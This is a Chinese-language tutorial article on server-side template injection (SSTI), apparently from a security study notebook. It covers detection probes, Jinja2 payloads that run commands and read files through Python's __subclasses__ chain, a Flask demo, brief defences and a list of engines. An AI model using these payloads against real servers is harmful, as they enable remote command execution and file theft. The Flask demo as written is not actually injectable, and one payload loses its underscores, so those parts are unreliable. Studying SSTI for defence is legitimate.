SSTI(服务端模板注入)
🥺

SSTI(服务端模板注入)

Published
March 29, 2023
Category
基本概念与理论
Subcategory
常见威胁与攻击类型
Tags
SSTI
Author
HZH
Notes
服务端模板注入(Server-Side Template Injection,简称 SSTI)是一种网络攻击类型,攻击者通过在应用程序的模板中注入恶意代码,导致该代码在服务端执行。在很多 Web 应用程序中,为了动态生成 HTML 页面,开发者使用了各种模板引擎。当用户提供的输入未经过适当的过滤和处理,直接嵌入到这些模板中时,就可能发生 SSTI。【模板引擎是一种非常有用的工具,它可以使开发者更加有效地处理网站和应用程序的视图层。通过使用模板引擎,开发者可以将业务逻辑和视图层分离,从而使前端和后端的代码可以独立编写。这种分离不仅可以提高代码的可维护性和安全性,还可以让团队中的不同开发人员专注于不同的任务。此外,模板引擎还可以为网站和应用程序提供更好的性能,因为它可以帮助开发者更快地生成HTML和CSS代码。】
以下是一个简单的 SSTI 原理和利用方法的说明:
  • 原理:
    • 模板引擎通常允许在模板中使用一定的表达式和逻辑,以在生成的 HTML 页面中插入动态数据。当攻击者能够控制这些表达式和逻辑时,他们可能会利用模板引擎的功能来执行恶意代码。
  • 利用方法1:
    • a1. 确定漏洞存在:首先,攻击者需要确定一个 Web应用程序是否存在潜在的 SSTI 漏洞。这可以通过尝试在用户可控的输入中插入特定的模板表达式来完成。例如,攻击者可能会尝试在输入框中插入 "{{ 7 * 7 }}"。如果 Web 应用程序的输出页面显示 "49",那么这表明模板引擎已经解析并执行了这个表达式,可能存在 SSTI 漏洞。
    • b1. 识别模板引擎:为了利用 SSTI 漏洞,攻击者需要了解目标 Web 应用程序使用的模板引擎。这可以通过观察执行特定表达式时的响应来实现。不同的模板引擎可能对相同的表达式产生不同的输出。例如,攻击者可以尝试 "{{ 'a' * 3 }}",并观察输出结果。根据输出的不同,攻击者可以推测目标 Web 应用程序使用的模板引擎。
    • c1. 构造并执行恶意代码:一旦攻击者确定了模板引擎,他们就可以开始构造恶意代码。这些代码可以执行各种恶意操作,如读取敏感文件、执行任意命令或者控制服务器进程。攻击者需要根据目标模板引擎的语法和功能来构造适当的恶意代码。
      • 以 Python 的 Jinja2 模板引擎为例,攻击者可以尝试以下 SSTI 载荷来执行任意命令:
        {{ ''.__class__.__mro__[1].__subclasses__()[40]('/bin/ls', shell=True, stdout=-1).communicate() }}
        这段代码首先通过 ''.__class__.__mro__[1].__subclasses__() 获取 Python 中所有类的列表,然后选择 subprocess.Popen 类(索引为 40)。接下来,攻击者使用这个类来执行 /bin/ls 命令,将命令的输出返回给应用程序。
  • 利用方法2:
    • 攻击者通常会利用模板引擎的内置功能和变量,结合 Python 对象的魔术方法,如 `__class__`、`__mro__`、`__subclasses__` 等,逐步找到目标模块和方法,以达到执行恶意代码的目的。
      • 使用 __class__ 魔术方法找到一个对象所属的类。例如,''.__class__ 返回字符串对象所属的 str 类。
      • 使用 __mro__ 魔术方法找到类的继承关系。例如,''.__class__.__mro__ 返回 (<class 'str'>, <class 'object'>),表示字符串类继承自 object 类。
      • 使用 __subclasses__ 魔术方法获取类的所有子类。例如,''.__class__.__mro__[1].__subclasses__() 返回一个包含所有 object 类的子类的列表。这里我们关注那些与命令执行或文件操作相关的子类。
      • 遍历子类列表,找到包含目标模块(如 os 模块)的类。这可以通过检查类的 __init__ 方法的全局变量(__globals__)来实现。例如,我们可以编写一个循环来找到包含 os 模块的类:
        • num = 0 for item in ''.__class__.__mro__[1].__subclasses__(): try: if 'os' in item.__init__.__globals__: print(num, item) num += 1 except: print('-') num += 1
      • 假设我们找到了一个包含 os 模块的类,其索引为 x。现在,我们可以使用这个类来执行恶意操作,例如执行系统命令:
        • ''.__class__.__mro__[1].__subclasses__()[x].__init__.__globals__['os'].system('ls')
       
    • 以下是针对 Flask 框架中的 Jinja2 模板引擎的一些利用方法:
    • 文件读取:攻击者可以通过 Python 的魔术方法找到 file 类或者其他可用于读取文件的类,然后执行文件读取操作。例如:
      • ''.__class__.__mro__[2].__subclasses__()[40]('<File_To_Read>').read()
        或者使用 _frozen_importlib_external.FileLoader 类进行文件读取:
        ''.__class__.__mro__[2].__subclasses__()[91].get_data(0,"<file_To_Read>")
    • 命令执行:攻击者首先需要找到包含 os 模块的类,可以使用以下 Python 脚本:
      • num = 0 for item in ''.__class__.__mro__[1].__subclasses__(): try: if 'os' in item.__init__.__globals__: print(num, item) num += 1 except: print('-') num += 1
        假设找到了包含 `os` 模块的类,它的索引为 x。攻击者可以使用以下代码执行命令: ```python ''.__class__.__mro__[1].__subclasses__()[x].__init__.__globals__['os'].system('ls')
        如果命令执行的结果无法直接查看,攻击者可以考虑使用 curl 工具将结果发送到自己的 VPS,或者使用第三方平台如 CEYE。
  • 防御方法:为了防止 SSTI 攻击,开发者应当对用户输入进行严格的验证和过滤。例如,可以使用白名单机制,仅允许特定的输入模式。此外,尽量避免将用户输入直接传递给模板引擎,而应该使用安全的数据绑定方法。
  • 实际案例:下面我们以一个简单的 Flask 应用为例,演示如何在其中利用 SSTI 攻击。
    • from flask import Flask, render_template_string, request app = Flask(__name__) @app.route('/hello', methods=['GET', 'POST']) def hello(): name = request.form.get('name', 'world') return render_template_string('Hello, {{ name }}!', name=name) if __name__ == '__main__': app.run()
      这个 Flask 应用有一个简单的 /hello 路由,接受一个名为 name 的表单参数,并将其嵌入到模板字符串中。当攻击者向这个应用发送包含恶意代码的 name 参数时,可能导致 SSTI 漏洞。
      例如,攻击者可以尝试发送如下请求:
      hello HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded name={{7*7}}
      在这个例子中,{{7*7}} 会被模板引擎计算,然后在响应中返回 Hello, 49!。虽然这个例子本身无害,但它证明了模板引擎会执行用户提供的代码。
      攻击者可以利用这个原理,构造更复杂的恶意代码,例如尝试执行系统命令:
      name={{''.class.mro[1].subclasses()[x].init.globals['os'].system('ls')}}
      其中 x 需要替换为实际找到的包含 os 模块的类的索引。
      在这个例子中,攻击者利用 SSTI 漏洞,执行了系统命令 ls。为了防止这种攻击,开发者需要确保对用户输入进行适当的验证和过滤,并遵循安全的编码实践,避免将用户输入直接传递给服务端。
       
      常见的拥有SSTI漏洞模板引擎
      1. Jinja2:Jinja2是Python中使用广泛的一种模板引擎,因其被攻击次数最多而在此列首位。它支持变量、for循环、条件语句等常见的模板语法,但也因其拥有表达式语言和类似eval函数的功能,导致可能受到SSTI攻击。
      1. Freemarker:常用的Java模板引擎之一,与Jinja2类似,也是因表达劫持功能而有可能受到SSTI攻击。不过,提供了限制表达式功能的配置选项,使得模板安全性更高。
      1. Velocity:另一个常见的Java模板引擎。与前面两个模板引擎不太相同,Velocity 的模板语法较为简单,对于表达式劫持等安全隐患较少。但也不完全避免,需要合理使用运算符和变量引用等特性。
      1. Handlebars:注重前端渲染的模板引擎,被广泛应用于Web应用中。与前面的引擎相比,Handlebars 不包含执行表达式的功能,使用较为安全。不过,在数据的渲染过程中,也可能存在XSS和CSRF等安全问题。
      1. Thymeleaf:同样是一个常见的Java模板引擎,相比Jinja2等,Thymeleaf更加关注网页美元素的展示效果与组件的优化。在模板语法上,Thymeleaf支持表达式语言,但在防范SSTI方面,也提供了许多安全性的措施,从而降低隐患。